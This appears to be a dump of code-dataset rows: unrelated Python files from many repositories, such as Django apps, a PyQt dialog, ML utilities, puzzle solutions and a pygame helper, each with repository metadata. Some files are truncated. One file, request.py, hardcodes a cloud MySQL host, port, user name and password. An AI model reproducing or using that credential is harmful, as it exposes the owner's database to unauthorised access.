# doesn't consider negative elements in nums
acc = 0
count = 0
for i in range(len(nums)):
for j in range(i, len(nums)):
acc += nums[j]
if acc == k:
count += 1
acc = 0
break
elif acc > k:
acc = 0
br... | [
"jae@Jaes-MacBook-Air.local"
] | jae@Jaes-MacBook-Air.local |
7db5d35dbccea6fead70c32527134a787b99e276 | 1fe186fc74156a27bf632ab3694e38b9219b86a8 | /python/test_data.py | 12a560c9fb35847a139de6aa6c9a0039dde4489c | [
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla"
] | permissive | qchenclaire/caffe | 53b0afb4963d8e9a50f45342e92ab4499012614e | e7b40681209b1266af919d76d4198c6d2560ae5b | refs/heads/master | 2021-01-19T13:11:18.013451 | 2017-04-12T22:47:40 | 2017-04-12T22:47:40 | 88,069,682 | 1 | 0 | null | 2017-04-12T15:48:22 | 2017-04-12T15:48:22 | null | UTF-8 | Python | false | false | 554 | py | import caffe
import numpy as np
import random
import os, struct
from array import array
import share_data as sd
#from lmdb_reader import Read_Render4CNN
from lmdb_para import read_lmdb
import scipy.misc
import time
import pdb
import cPickle as pickle
#
class Render4CNNLayer_sub(caffe.Layer):
def setup(self, botto... | [
"qchen42@jhu.edu"
] | qchen42@jhu.edu |
c86e3a5ca3ef835199bd744fc5510a60133a16db | 0e478f3d8b6c323c093455428c9094c45de13bac | /src/OTLMOW/OTLModel/Datatypes/DtcBeschermingVraatschade.py | 8549c8df08b86c0c406b3f81a22fa46f65a82c8c | [
"MIT"
] | permissive | davidvlaminck/OTLMOW | c6eae90b2cab8a741271002cde454427ca8b75ba | 48f8c357c475da1d2a1bc7820556843d4b37838d | refs/heads/main | 2023-01-12T05:08:40.442734 | 2023-01-10T15:26:39 | 2023-01-10T15:26:39 | 432,681,113 | 3 | 1 | MIT | 2022-06-20T20:36:00 | 2021-11-28T10:28:24 | Python | UTF-8 | Python | false | false | 2,781 | py | # coding=utf-8
from OTLMOW.OTLModel.BaseClasses.AttributeInfo import AttributeInfo
from OTLMOW.OTLModel.BaseClasses.OTLAttribuut import OTLAttribuut
from OTLMOW.OTLModel.Datatypes.BooleanField import BooleanField
from OTLMOW.OTLModel.Datatypes.ComplexField import ComplexField
from OTLMOW.OTLModel.Datatypes.KlMateriaalB... | [
"david.vlaminck@mow.vlaanderen.be"
] | david.vlaminck@mow.vlaanderen.be |
3854d86404411f1bba56b485b61bfda44efeb2f0 | 0f9a8549df83e39eb29012588c01c5fc434f4e4b | /menu/admin.py | e21ab520a36361c30a408efeec382301187e294e | [] | no_license | f4225e0653/recipedb | 729c53495a9329290a30f9b821e9def233d14bd4 | d03943b6da5e0ab900fcd9d44388ff5997757eab | refs/heads/master | 2021-01-22T20:55:43.598122 | 2017-03-18T07:54:17 | 2017-03-18T07:54:17 | 85,380,391 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 176 | py | from django.contrib import admin
from .models import Recipe, RecipeIngredients
# Register your models here.
admin.site.register(Recipe)
admin.site.register(RecipeIngredients)
| [
"nobody@nowhere.local"
] | nobody@nowhere.local |
599d158a305a75174cd7625ca13fb5240c520bcb | ceea602d004e21c85c925b3b5b259db49eec17d7 | /flatpage_extended/urls.py | f09e3f5b2d2b044993e71b30481df8264dc03227 | [] | no_license | seivan/django_blog | 38426c4477a7e12c50534ecfaadac9a569556f62 | 9cb7a35d6a5b5e29ff8c4ae5cb3c0c1441191c6b | refs/heads/master | 2020-12-24T13:17:22.003468 | 2009-11-25T04:27:52 | 2009-11-25T04:27:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 143 | py | from django.conf.urls.defaults import *
urlpatterns = patterns('seivanheidari.flatpage_extended.views',
(r'^(?P<url>.*)$', 'flatpage'),
)
| [
"seivan@kth.se"
] | seivan@kth.se |
1327e5c7a206f319618cd37031e6f11e523d0d80 | e942ac062e2a217735e37e9133dccb26cef4184e | /clawer/clawer/apis/user.py | 9075d355b517f009b0dba4d10e7ca64c986b7f2a | [] | no_license | xcctbys/crawl | 11cc432b39866c5965d7511ff03cb45607db2244 | 95a5b590a82f20a22731b31dfe551a35b4b31fa1 | refs/heads/master | 2021-01-21T20:42:45.734344 | 2016-06-28T02:38:19 | 2016-06-28T02:38:19 | 92,269,774 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 1,978 | py | #coding=utf-8
import json
import hashlib
import datetime
from django.contrib.auth import authenticate
from django.contrib.auth.models import User as DjangoUser, Group
from django.contrib.auth import login as djangologin
from django.contrib.auth import logout as djangologout
from django.core import exceptions
from dja... | [
"xiaotaop@princetechs.com"
] | xiaotaop@princetechs.com |
9759de82b067631295a9df8a9613f0a5f0fb3f71 | 7c06182477f708693a39bb450d096291eaa2b89d | /ui/ui_Dialog.py | 7376538b222fc77fad5b7161592cef7708cdc146 | [] | no_license | Kracav4ik/zk3v | dee7414a007bc32833ca6ec31a4acdb505b6de5d | febd7b1f8f889355fccede96a68b4a5de425cc89 | refs/heads/master | 2020-07-02T19:21:19.239014 | 2020-02-07T20:42:28 | 2020-02-07T20:42:28 | 201,636,973 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,959 | py | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ui\dialog.ui'
#
# Created by: PyQt5 UI code generator 5.12.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObj... | [
"dikama2013@yandex.ru"
] | dikama2013@yandex.ru |
faeac85f38f5106c670b705a87a72d830f2d7a29 | 341446cb13aa6a09bc10bc6525a339e3b1cd45f2 | /ensembler.py | 86ffe14b04082f6d650564851ee1d6d14d077a6e | [] | no_license | seamusl/OpenNAS-v1 | ca86cfc6d7486a3c53103f2be260a6468afb7ccc | 8983ab8cf5b7cf39c8fb1c6709cddb9944fcf46f | refs/heads/master | 2023-03-25T12:54:23.976658 | 2021-01-10T20:03:00 | 2021-01-10T20:03:00 | 264,767,562 | 0 | 0 | null | 2021-03-25T23:45:49 | 2020-05-17T22:20:21 | Python | UTF-8 | Python | false | false | 5,691 | py | # Copyright (c) 2020 Seamus Lankford
# Licensed under MIT License
import warnings
warnings.simplefilter(action='ignore')
from keras.utils import to_categorical
from sklearn.metrics import accuracy_score
import tensorflow as tf
from tensorflow.keras.models import load_model
import numpy as np
import matplotlib.pyplo... | [
"noreply@github.com"
] | seamusl.noreply@github.com |
a75ddc8ce256a732867b2936e5cbaf3093f8f37b | 41f94396e4f5e61d2c3a1c684bc0b08d4e426b58 | /practice2.py | 4bd5b772868ad50712a8d398331bb5aa59126160 | [] | no_license | enochnord/hello-world | 71a4d2f3a1cbae84f1896c5296a675ffd94907b4 | 19eccd30ccd68d4c619b0676af97b131a26e0286 | refs/heads/master | 2020-05-18T14:05:51.242334 | 2020-01-15T19:33:50 | 2020-01-15T19:33:50 | 184,460,847 | 0 | 0 | null | 2019-05-01T18:38:12 | 2019-05-01T18:18:51 | null | UTF-8 | Python | false | false | 852 | py | stuff = {'rope': 1, 'torch': 6, 'gold coin': 42, 'dagger': 1, 'arrow': 12}
def displayInventory(inventory):
total_items = 0
for item, quantity in inventory.items():
print(str(quantity)+' '+item)
total_items += quantity
print("Total number of items: "+str(total_items))
displayI... | [
"noreply@github.com"
] | enochnord.noreply@github.com |
0f1563570949b62727a7761f33d868a9e9c786b9 | 98d7d234b105c9fe55d1338d611e427fd8bc3552 | /autotest_platform/kernel_os_kvm-test/log.py | fda93c60b2f273f6229bf5810384b1b2ff409433 | [] | no_license | jianxiamage/autotest_platform | b0af178060c61d0b557e7d85c83c535b585a56c1 | d5db850e1cf8c1fb5c7c810de1eca9484257975f | refs/heads/master | 2020-05-19T12:45:29.857986 | 2019-05-05T11:34:16 | 2019-05-05T11:34:16 | 185,022,420 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,783 | py | #!/usr/bin/env python
#coding=utf-8
import os
import sys
import logging
#日志等级(level) 描述
#DEBUG 最详细的日志信息,典型应用场景是 问题诊断
#INFO 信息详细程度仅次于DEBUG,通常只记录关键节点信息,用于确认一切都是按照我们预期的那样进行工作
#WARNING 当某些不期望的事情发生时记录的信息(如,磁盘可用空间较低),但是此时应用程序还是正常运行的
#ERROR 由于一个更严重的问题导致某些功能不能正常运行... | [
"mazhongzheng@loongson.cn"
] | mazhongzheng@loongson.cn |
288a7b08c5cf71f0640230acae8d22b897df5ede | e780a5bd72f98ca2513c993d64a85b08578166a6 | /buildout-cache/eggs/Zope2-2.13.26-py2.7.egg/Testing/custom_zodb.py | b59b8c0f0a189811d25e949bf0df349935e37124 | [] | no_license | vedantc98/Plone-test | 023246597ffe848e2a49b9f65742ff49127b190b | 9fd520fc78481e2c0b9b7ec427821e7f961c777e | refs/heads/master | 2021-03-30T22:14:33.368739 | 2018-03-11T19:22:58 | 2018-03-11T19:22:58 | 124,671,713 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,212 | py |
import os
import logging
import ZODB
LOG = logging.getLogger('Testing')
def getStorage():
""" Return a storage instance for running ZopeTestCase based
tests. By default a DemoStorage is used. Setting
$TEST_ZEO_HOST/TEST_ZEO_PORT environment variables allows you
to use a ZEO se... | [
"vedantc98@gmail.com"
] | vedantc98@gmail.com |
4a82493f4fd45a7fd6c13c09e0044536e96d7feb | 12bf679fe5c13baf581650cc558cd44b63c1a0d2 | /problem75.py | c97dc05dc2da0de7dd2cd9b1a4e62f4c64cadaeb | [] | no_license | ganzevoort/project-euler | ed119f23cd5b63a6fcd5df6b581513c92d1790f6 | 0fea6b3465272895536b7ed3bff10bf3e0d84154 | refs/heads/master | 2022-09-12T16:19:06.696279 | 2022-09-02T17:03:52 | 2022-09-02T17:03:52 | 9,947,769 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 7,484 | py | """
https://projecteuler.net/problem=75
Singular integer right triangles
Problem 75
It turns out that 12 cm is the smallest length of wire that can be
bent to form an integer sided right angle triangle in exactly one
way, but there are many more examples.
12 cm: (3,4,5)
24 cm: (6,8,10)
30 cm: (5,12,13)
... | [
"ganzevoort@gw20e.com"
] | ganzevoort@gw20e.com |
84cdbb979c2f212c1dc2187b7c185ec753d0e0d2 | 34053eab55920cd06b90b05c7995d45b3fb279ba | /customer/tests/test_views.py | 8b0dcaba159fb519f8072af98ae429e9bf8412a9 | [] | no_license | yassinejr/MedicalStoreManagementSystem-Backend | bc2706abac3faf8b53ba62fe319e8fa4c55a7057 | 2908560af63b91e8731ae8115272d505cd773c49 | refs/heads/main | 2023-03-21T01:04:56.333791 | 2021-03-03T22:47:19 | 2021-03-03T22:47:19 | 338,150,949 | 0 | 0 | null | 2021-03-03T22:47:20 | 2021-02-11T20:57:41 | Python | UTF-8 | Python | false | false | 1,320 | py | import json
from django.urls import reverse
from rest_framework import status
from .test_setup import TestSetUp
class CustomerTests(TestSetUp):
def test_view_customers(self):
url = reverse('customer:customer-list')
response = self.client.get(url, format='json')
self.assertEqual(response.... | [
"yassine.jrad@esprit.tn"
] | yassine.jrad@esprit.tn |
51e79e81fc843cede5de74dd9720d367ac781088 | 51a37b7108f2f69a1377d98f714711af3c32d0df | /src/leetcode/P5337.py | 6b7387cfd3aeebdde97f2bf7f2058c69a7a07da6 | [] | no_license | stupidchen/leetcode | 1dd2683ba4b1c0382e9263547d6c623e4979a806 | 72d172ea25777980a49439042dbc39448fcad73d | refs/heads/master | 2022-03-14T21:15:47.263954 | 2022-02-27T15:33:15 | 2022-02-27T15:33:15 | 55,680,865 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 692 | py | VOWELS = {
'a': 0,
'e': 1,
'i': 2,
'o': 3,
'u': 4,
}
LV = 5
class Solution:
def findTheLongestSubstring(self, s: str) -> int:
d = {0: -1}
n = len(s)
r, t = 0, 0
for i in range(n):
if s[i] in VOWELS:
t ^= 1 << (VOWELS[s[i]])
... | [
"stupidchen@foxmail.com"
] | stupidchen@foxmail.com |
bd71e8834041355af9994538d8b413ecfd3d17bf | 747f759311d404af31c0f80029e88098193f6269 | /addons/invoice_department/__openerp__.py | afc156863ffd05e1b0be166b0b4bd23ce538647e | [] | no_license | sgeerish/sirr_production | 9b0d0f7804a928c0c582ddb4ccb7fcc084469a18 | 1081f3a5ff8864a31b2dcd89406fac076a908e78 | refs/heads/master | 2020-05-19T07:21:37.047958 | 2013-09-15T13:03:36 | 2013-09-15T13:03:36 | 9,648,444 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 71 | py | /home/openerp/production/extra-addons/invoice_department/__openerp__.py | [
"geerish@omerp.net"
] | geerish@omerp.net |
4444e9fdf7a521fb5b97b051d6c60e7eb88cedff | 20674c17d815214bf66b75be686bb8a45c0f5914 | /version1/41_First_Missing_Positive.py | 46f175341cad376abe13c15b0427afd35607a259 | [] | no_license | moontree/leetcode | e7b670969fe20785b15aae82996875fd66de1b08 | f2bf9b13508cd01c8f383789569e55a438f77202 | refs/heads/master | 2021-05-20T20:36:45.615420 | 2020-04-02T09:15:26 | 2020-04-02T09:15:26 | 252,408,563 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,159 | py | '''
Given an unsorted integer array, find the first missing positive integer.
For example,
Given [1,2,0] return 3,
and [3,4,-1,1] return 2.
Your algorithm should run in O(n) time and uses constant space.
'''
examples = [
{
"nums" : [1, 2, -1],
"res" : 3
},
{
"nums": [3, 4, -1, 1],... | [
"zhangchao@zhangchaodeMacBook-Pro.local"
] | zhangchao@zhangchaodeMacBook-Pro.local |
65dbaa98b62745d99f56f451abb321eeee0493ad | e23a4f57ce5474d468258e5e63b9e23fb6011188 | /125_algorithms/_exercises/templates/_algorithms_challenges/leetcode/LeetcodePythonProject_with_solution/leetcode_0751_0800/LeetCode799_ChampagneTower.py | 0aa3fdd38948e8a2234d58be1d63778409f91a00 | [] | no_license | syurskyi/Python_Topics | 52851ecce000cb751a3b986408efe32f0b4c0835 | be331826b490b73f0a176e6abed86ef68ff2dd2b | refs/heads/master | 2023-06-08T19:29:16.214395 | 2023-05-29T17:09:11 | 2023-05-29T17:09:11 | 220,583,118 | 3 | 2 | null | 2023-02-16T03:08:10 | 2019-11-09T02:58:47 | Python | UTF-8 | Python | false | false | 1,206 | py | '''
Created on Apr 18, 2018
@author: tongq
'''
c_ Solution(o..
___ champagneTower poured, query_row, query_glass
"""
:type poured: int
:type query_row: int
:type query_glass: int
:rtype: float
"""
result [[0.0]*101 ___ _ __ r..(101)]
? 0 0 poured
... | [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
8aade5817b19ff2fa35eb58b3c891b4d8f7781e4 | 7212600f89c640bd4a936934f8bed985acd3e2d5 | /cgi-bin/filewriter.py | 8a16b35e0c58429ddeda1e08a01605d0c3b1cbf8 | [] | no_license | SkyPromp/Speedcube-timer | 3bac6b242886654168919f2ca351b858e4c5dd1f | 41c5859844e73aced035f626df5dc71a388b1ade | refs/heads/main | 2023-06-04T04:44:34.095363 | 2021-06-27T19:58:16 | 2021-06-27T19:58:16 | 378,777,146 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 677 | py | import datetime
# Append the current date/time, scramble and solving time to the text file
def write(scramble, time):
file = open("times.csv", "a")
file.write(f"{datetime.datetime.now()},{scramble},{time}\n")
file.close()
# Removes the last used line of the file (so removes the empty line, and the used ... | [
"max.poppe@ugent.be"
] | max.poppe@ugent.be |
ba527a5399515881d5b2223c59c62dcee6f8eaed | e5ac5f718df4c3c90c02a6275b9e690dffceeaa5 | /saga/engine/engine.py | 49f323a398538036945e9849e77d19d1bb641ae3 | [
"Apache-2.0"
] | permissive | virthead/COMPASS-pilot | 5cbd83b542d3c1a5ba078c6ac19f133093c86383 | 131fa454de3b5378622c6a176930cfc5b3e58267 | refs/heads/master | 2020-03-26T08:14:06.068259 | 2018-12-04T11:24:42 | 2018-12-04T11:24:42 | 144,692,491 | 0 | 1 | Apache-2.0 | 2018-11-13T08:43:43 | 2018-08-14T08:37:45 | Python | UTF-8 | Python | false | false | 24,143 | py |
__author__ = "Andre Merzky, Ole Weidner"
__copyright__ = "Copyright 2012-2013, The SAGA Project"
__license__ = "MIT"
""" Provides the SAGA runtime. """
import re
import sys
import pprint
import string
import inspect
import radical.utils as ru
import radical.utils.config as ruc
import radical.utils.lo... | [
"virthead@pandawms.jinr.ru"
] | virthead@pandawms.jinr.ru |
0790885d07748510ba3469b18c3485786ca2c678 | c0d489046bc114672139873916a118a203c6f850 | /Medium/93. Restore IP Addresses.py | 94ed17c1daab3e46ce78aa9e4f44a4152abf96d2 | [] | no_license | shifty049/LeetCode_Practice | 165ada14a8fd436e9068bd94d6b82b1ed312013c | ca8be179282be86450c9959fb239466d152a55e5 | refs/heads/master | 2022-05-25T16:23:05.736852 | 2022-03-29T13:48:21 | 2022-03-29T13:48:21 | 249,737,622 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,024 | py | class Solution:
def restoreIpAddresses(self, s: str) -> List[str]:
lst = []
length = len(s)
def backtracking(num, count, sub_lst):
if len(sub_lst)>1 and (int(s[sub_lst[-2]:sub_lst[-1]]) > 255 or (s[sub_lst[-2]] == '0' and len(s[sub_lst[-2]:sub_lst[-1]])>1)):
retur... | [
"shifty049@gmail.com"
] | shifty049@gmail.com |
152a39c5f6f25998206bbb4444fc935c598143eb | 561513a9927f351720616f7a66556e2bdcb89346 | /request.py | 28fadfb2b460f81b686694fc330d9a2acece2186 | [] | no_license | CNllb/Hokkien_DataBases | 511544abdff94ada1813f4ee6299034e6368cfd3 | 021df946f5441538d53d7170240dd281b9ac86ba | refs/heads/main | 2023-09-05T22:15:09.793737 | 2021-11-24T10:30:41 | 2021-11-24T10:30:41 | 425,679,947 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 439 | py | import pymysql
def link_to_database():
conn = pymysql.connect(
host="gz-cynosdbmysql-grp-56sj4bjz.sql.tencentcdb.com",
user="root",
port=25438,
password="Lcx010327",
database="Hokkien");
# 创建游标
cursor = conn.cursor();
sql = ""
try:
cursor.execute(sql... | [
"1360602885@qq.com"
] | 1360602885@qq.com |
9b45c38f51e416a27227fa1c503c2124840c9bfa | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /ZeeWN5NdFa8ALJq5G_16.py | 003fc3b30954c00178f5a2acaa2c8646fd3bff48 | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 154 | py |
def nearest_chapter(ch, p):
out = sorted(ch.keys(), key = lambda x: ch[x], reverse = True)
out.sort(key = lambda x: abs(ch[x] - p))
return out[0]
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
95de42864a1816e62e897dbcecdc4d73c21b66c6 | f8ae676c657638dac835c437a443767431de2d60 | /News/migrations/0009_alter_news_text.py | 4f54d36fb68bacd4c52082e396d4cc11788fcbd6 | [] | no_license | OR6107/150th-kaiseifes-backend | 0dc03b1c91b86b2333100d0ea5097654e26409a8 | 9b9429443a834c5dd78a3904ad52ee03e73f4fac | refs/heads/main | 2023-06-17T14:09:42.315863 | 2021-07-18T03:52:10 | 2021-07-18T03:52:10 | 378,079,752 | 0 | 0 | null | 2021-06-18T08:09:02 | 2021-06-18T08:09:02 | null | UTF-8 | Python | false | false | 363 | py | # Generated by Django 3.2.4 on 2021-07-02 10:32
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('News', '0008_alter_news_text'),
]
operations = [
migrations.AlterField(
model_name='news',
name='text',
... | [
"keigo0827511@gmail.com"
] | keigo0827511@gmail.com |
a9233691883537261c42a589490d45807bd1e36c | 8d63c58eae36070409f05192a2f2366092cfb482 | /game_util.py | 64734893a08a661f036e0a145c6e944bee27f4e6 | [
"MIT"
] | permissive | Quazyrog/kopernik-python | f8d97bfddcbff97a367e0af808d6fffb0092fce6 | 202fdd5d0321960904d473d986c172e56dd62a03 | refs/heads/master | 2020-08-02T06:21:15.172240 | 2019-09-27T12:23:33 | 2019-09-27T12:23:33 | 211,261,190 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,625 | py | import pygame
import pytmx
from pygame.sprite import Group, Sprite, spritecollideany
from pygame.math import Vector2
from pytmx import TiledTileLayer, TiledObject
SCREEN_SIZE = (1366, 768)
ASSETS_DIR = "./Assets"
class Game:
def __init__(self):
self.running = False
self.screen = None
self... | [
"wm382710@students.mimuw.edu.pl"
] | wm382710@students.mimuw.edu.pl |
cc556a21ebb4a3a1da3604521e71f01202a5fcc2 | 87915f5d46d1b776b824bfb4d4e4382e02cf3835 | /Kiasati_final/runner.py | 333c686367ed1c2db81db0e5776ee4c40d5d438b | [] | no_license | hamrazkiasati/sosgame | e70f888ac2a30956c817de0cabbc69c7d357ab15 | d9b3195160978385fdb8f543816885c724020dd5 | refs/heads/master | 2022-12-03T04:12:18.066844 | 2020-08-07T19:18:31 | 2020-08-07T19:18:31 | 285,903,772 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 889 | py | import sqlite3
from base import win
from tkinter import ttk
from login import opensignin, opensignup
with sqlite3.connect('users.db') as db:
cursor = db.cursor()
cursor.execute("""CREATE TABLE IF NOT EXISTS
users
(username TEXT NOT NULL PRIMARY KEY,
password TEXT NOT NULL,
first TEXT NO... | [
"noreply@github.com"
] | hamrazkiasati.noreply@github.com |
447eaf5574e069bc15b07fe9d3e0afec6844b381 | d2aa30899042e9f4755700850839dd1df38a723f | /cutcsv.py | d5e52b6210226a723feff4c3990b343b639ce131 | [] | no_license | DhvanilVadher/Intrusion-Detection-System-using-ANN. | 40edcfd9b3fb588fdbdd40e447813cb99acc5bad | ab3149af97826e2e7b81cd424b4af18acfe7e5ef | refs/heads/main | 2023-04-13T02:58:42.725005 | 2021-04-23T15:18:42 | 2021-04-23T15:18:42 | 345,471,806 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 375 | py | import pandas as pd
f=pd.read_csv("./editcsv/FridayDDOS.csv")
keep_col = [' Average Packet Size','Active Mean',' Active Min',' Flow IAT Mean',' Flow Duration',' Fwd Packet Length Mean','Total Length of Fwd Packets',' Subflow Fwd Bytes',' Bwd IAT Mean',' Bwd Packet Length Std',' Bwd Packet Length Min',' Label']
new_f = ... | [
""
] | |
d193039a18ab69a521087eba5cafe9748b85bddd | 8543d0f9dc3afe9b1f94701905168afd0f683da2 | /Django/Latest_MMM/Web/views.py | 7ca2c0416af53e10cdfa63e01c4989db95774e21 | [] | no_license | kasunsampathhewage/test_v1 | da1b18ca27e0879411d4d81270a1034157e6d0cf | 40a1182650eb9fd0bda6b2ad7ead047a202d3eae | refs/heads/master | 2023-02-08T03:16:57.965921 | 2020-12-26T08:49:18 | 2020-12-26T08:49:18 | 323,825,702 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 51,671 | py | from django.shortcuts import render
from django.http import HttpResponse
from django.http import JsonResponse
import pandas as pd
import numpy as np
from datetime import datetime
from sorted_months_weekdays import *
from sort_dataframeby_monthorweek import *
from .models import *
import calendar
from .predict import *
... | [
"62302888+kasunsampathhewage@users.noreply.github.com"
] | 62302888+kasunsampathhewage@users.noreply.github.com |
01fb8d05747375d68eb2132a21d9bb541e452ffc | 4443a051136c23156fefc56b50e467dd0717dc07 | /mp1/models/linear_model.py | 590971e33d18b64f79a836c4289ea68fbafee408 | [] | no_license | therealJacobWu/pattern_recognition | 6eefbbaa2d8584b800b234c4073b3704469a446a | 09fe9c0054110f9ba10116a5cf3fc42a6eb58a54 | refs/heads/master | 2021-08-28T20:26:39.898397 | 2017-12-13T04:09:51 | 2017-12-13T04:09:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,073 | py | """Linear model base class."""
import abc
import numpy as np
import six
@six.add_metaclass(abc.ABCMeta)
class LinearModel(object):
"""Abstract class for linear models."""
def __init__(self, ndims, w_init='zeros'):
"""Initialize a linear model.
This function prepares an uninitialized linear m... | [
"chenhaowu@ChenhaotekiMacBook-Pro.local"
] | chenhaowu@ChenhaotekiMacBook-Pro.local |
6aa1d2b7a3e804cf44a8f2b7ac61880dff987f25 | fe741e533cfd22d609a5c2d6250fc491dcf521e0 | /eventsourcing/infrastructure/django/factory.py | d264ec975f0e663b614c5f8319827804bbf0860f | [
"BSD-3-Clause"
] | permissive | matiasbastos/eventsourcing | 963631cdd98b5eecab7dbf92a2eefeee98e01c51 | b91eaa9bd8abb5f29591d5ecbb2cca1f37414256 | refs/heads/develop | 2021-05-04T21:11:43.800055 | 2018-02-17T22:02:17 | 2018-02-17T22:02:17 | 119,893,330 | 0 | 0 | null | 2018-02-17T22:02:18 | 2018-02-01T21:03:06 | Python | UTF-8 | Python | false | false | 1,012 | py | from eventsourcing.infrastructure.django.manager import DjangoRecordManager
from eventsourcing.infrastructure.django.models import IntegerSequencedRecord, TimestampSequencedRecord, SnapshotRecord
from eventsourcing.infrastructure.factory import InfrastructureFactory
class DjangoInfrastructureFactory(InfrastructureFac... | [
"john.bywater@appropriatesoftware.net"
] | john.bywater@appropriatesoftware.net |
e3448b44562219ac5116888f3463cc2fb4461c4d | 2f533fd2b568afaa381a0a3a7aeb29c3ee3e3425 | /test/echonl.0.py | d3354865f60d0a48e11a8847d6717dfcfbcc4468 | [] | no_license | mwan780/softconass1 | 8443d3267e02f135ddc1160eb4edde93bfdc3a61 | 5bafdb1a7ac37df82fd0dcf01c04f4a28ca30a1c | refs/heads/master | 2021-01-19T09:44:23.532788 | 2013-09-30T06:07:01 | 2013-09-30T06:07:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 69 | py | #!/usr/bin/python
import sys
for arg in sys.argv[1:]:
print arg
| [
"sfal610@cse.unsw.EDU.AU"
] | sfal610@cse.unsw.EDU.AU |
e7b74b8dc1fe3b954b253b88f20c408d777721b4 | 552e4f19e6558aa73428333d98d47a2baa0b9e03 | /tensorflow/funnel_transformer_ops.py | b6b03858c7c36cdfa293461d1c2b3c3f6de99c86 | [
"MIT"
] | permissive | yyht/Funnel_Transformer | 6c17ad12bb6ab5dcbd3f6161b830237dc61add26 | 4b35a794d5e122a8054471863a52d4eac1c39dcd | refs/heads/master | 2022-12-08T08:47:59.692029 | 2020-08-24T07:35:04 | 2020-08-24T07:35:04 | 279,195,871 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 23,331 | py | """Common operations used to construct model."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import functools
import numpy as np
import tensorflow as tf
import functools
# from utils.bert import bert_utils
# from utils.bert import dropout_utils
# stable... | [
"albert.xht@alibaba-inc.com"
] | albert.xht@alibaba-inc.com |
b22be2c324a03ef1cb8e0e9c9d174b469967778b | 695af55893dd40f8e2effdd67bfdcfff9093ba69 | /tfoosball/migrations/0012_member.py | 4ab00f5415e2970f3cdaf0b73b93433df778845c | [] | no_license | TeoTN/TFoosball-API | 78cb702460017d1f9e6caa902c93bf576b8955cf | 8ab8951662b1fb6ac126b31ff66f324936a0f2b8 | refs/heads/master | 2021-07-17T08:41:51.610291 | 2020-06-05T17:19:57 | 2020-06-05T19:01:19 | 67,066,305 | 0 | 1 | null | 2021-06-10T18:37:04 | 2016-08-31T19:17:40 | Python | UTF-8 | Python | false | false | 1,513 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.4 on 2017-02-05 22:14
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('tfoosball', '0011_team'),
... | [
"staniowp@gmail.com"
] | staniowp@gmail.com |
e89b97449c4a586d8b6ceea9a3ece86b666a323b | 7cf8c1d255b273be9352efa8bc386948991c6180 | /forms.py | d603453da3c75e097a47317d3af5387287b22c89 | [] | no_license | RoopeKeto/book-recommender | 90571fd4c8de3c5d6af03dd0009862121985f720 | 05526d128827ad44331e60239dd9c06d088e7c99 | refs/heads/master | 2022-07-07T05:39:13.063898 | 2019-07-28T10:21:31 | 2019-07-28T10:21:31 | 198,982,898 | 0 | 0 | null | 2022-06-21T22:24:20 | 2019-07-26T08:56:15 | Python | UTF-8 | Python | false | false | 416 | py | from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField, IntegerField
from wtforms.validators import DataRequired, Length, NumberRange
class SearchForm(FlaskForm):
searchword = StringField('Search word',
validators=[DataRequired(), Length(min=1, max=200)],
... | [
"roope.keto@outlook.com"
] | roope.keto@outlook.com |
62a9d24b01c6842cb24bc2ee68676f65c52134bd | 8274dc68727b53ec7b10e0b3f32f24427f5746ef | /intro-1.py | 4fb0d414224e96f19d4cc4c278950732f3fdd75e | [] | no_license | cristea-raul/py-plp-exercises | 8108046bd9fefd82fcea726b2f80555796f3b640 | 5e0e1bc4bdf530243ca850ccfeb9dbcc501f4231 | refs/heads/master | 2021-01-16T21:17:48.861859 | 2015-05-27T17:28:43 | 2015-11-26T12:21:20 | 36,383,429 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 80 | py | import sys
print(''.join([(arg[::-1]) + ' ' for arg in sys.argv[:0:-1]])[:-1])
| [
"cristea.raul@gmail.com"
] | cristea.raul@gmail.com |
